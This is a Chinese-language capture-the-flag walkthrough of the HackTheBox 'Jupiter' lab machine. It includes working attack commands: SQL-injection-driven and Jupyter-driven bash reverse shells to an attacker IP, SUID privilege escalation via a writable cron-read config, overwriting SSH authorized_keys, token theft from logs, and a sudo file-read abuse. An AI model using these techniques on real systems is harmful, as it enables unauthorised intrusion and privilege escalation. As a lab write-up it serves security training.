HTB-Jupiter
一、思路概要
1.信息收集发现子域,子域api存在PostgreSQL注入;
2.PostgreSQL注入反弹shell获取postgres用户权限;
3.查看/etc/passwd发现juno和jovian用户;
4.juno用户有定时任务文件并存在命令执行;
5.命令执行suid提权获取juno用户权限;
6.查看端口开放状态发现Jupyter服务;
7.ssh公钥伪造实现端口转发;
8.token泄露成功登录并通过Jupyter反弹shell获取jovian用户权限;
9.sudo -l发现任意文件读取获取root文件。
二、信息收集
nmap扫描端口服务

80端口开放,有域名,写入本地hosts文件
echo "10.10.11.216 jupiter.htb" >> /etc/hosts
浏览器访问,首页如下图
扫描子域
gobuster vhost -u http://jupiter.htb --append-domain -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50

发现子域kiosk.jupiter.htb,写入本地hosts文件
echo "10.10.11.216 kiosk.jupiter.htb" >> /etc/hosts
访问子域

由标签页标题判断出是Grafana框架,访问的同时Burp抓包看到如下api,其中有PostgresSQL语句执行


三、PostgreSQL注入反弹shell
存在注入(可用SELECT version()测试是否存在sql注入)
提前在本地kali开启监听,依次执行如下命令反弹shell
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'bash -c \"bash -i >& /dev/tcp/10.10.14.5/9898 0>&1\"';
成功获取postgres用户权限

查看/etc/passwd,除root外还有两个用户:juno和jovian

四、定时任务命令执行suid提权
查找属于用户 juno 的文件和目录(经尝试,jovian用户的文件postgres用户无可读权限)
find / -user juno 2>/dev/null

查看与众不同的文件
cat /dev/shm/network-simulation.yml

此处执行pspy64,对比执行结果,可看到下侧server和client的path和args会被当作命令执行

切换成交互式shell(方便编辑文件)
python3 -c 'import pty;pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
export TERM=xterm
修改vim /dev/shm/network-simulation.yml
- path: /usr/bin/cp
args: /bin/bash /tmp/bash
- path: /usr/bin/chmod
args: u+s /tmp/bash
稍等片刻,可看到/tmp/bash文件有了suid

执行如下命令提权,成功获取juno用户权限
/tmp/bash -p

进入juno用户home目录下查看
cd /home/juno
ls la
juno 用户没有user.txt读权限,但可看到有.ssh目录

五、ssh公钥伪造
看到有认证密钥,可以伪造ssh密钥连接

本地用ssh-keygen生成ssh公私钥

传到靶机,并覆盖掉原来的密钥文件authorized_keys

如果本地kali不是root用户生成的密钥,需要用chmod 600 id_rsa给私钥添加权限
用如下命令通过私钥连接ssh
ssh -i id_rsa juno@10.10.11.216

查看端口服务

本地kali开启ssh端口转发
ssh -i id_rsa -L 8888:127.0.0.1:8888 juno@10.10.11.216
然后浏览器访问localhost:8888,需要password或token登录

六、登录凭据泄露二次反弹shell
之前说jovian用户的文件postgres用户无可读权限,此时我们看一下,有个目录/opt/solar-flares
find / -user jovian 2>/dev/null

在/opt/solar-flares/logs目录下有日志文件,随便打开一个看会有token

那么可用如下命令查看所有文件内的所有token
cat * | grep “token”

token很多,用最后一个,因为最后一个是最近登录的有效token,成功登录

打开flares.ipynb,点击上侧菜单栏File→New Notebook→Python3 (ipykernel) 新建一个脚本

写入反弹shell脚本
import os; os.system('bash -c "bash -i >& /dev/tcp/10.10.14.5/9898 0>&1"')

本地kali开启监听,点击Run,成功获取jovian用户权限

七、任意文件读取获取root文件
sudo -l查看可执行的命令

执行,提示没找到配置文件

用strings分析一下这个命令文件里可能有什么配置文件
strings /usr/local/bin/sattrack | grep -i config

看到有/tmp/config.json,但实际去找的时候却没有,于是用如下命令查找config.json
find / -name config.json 2>/dev/null

发现/usr/local/share/sattrack/config.json,猜测应该是执行命令的时候会从/tmp目录读取配置文件,那么我们将配置文件复制到/tmp/config.json
cp /usr/local/share/sattrack/config.json /tmp/config.json
查看配置文件内容

再次执行命令,发现tmp目录下生成了一个tle目录,目录内是配置文件中tlesources的内容,猜测应该是从目标链接把文件下载到tle目录

那么我们修改配置文件tlesources为如下,直接读取root.txt
file:///root/root.txt

再次执行,发现root.txt成功被读取出来,任意文件读取
sudo /usr/local/bin/sattrack

Over!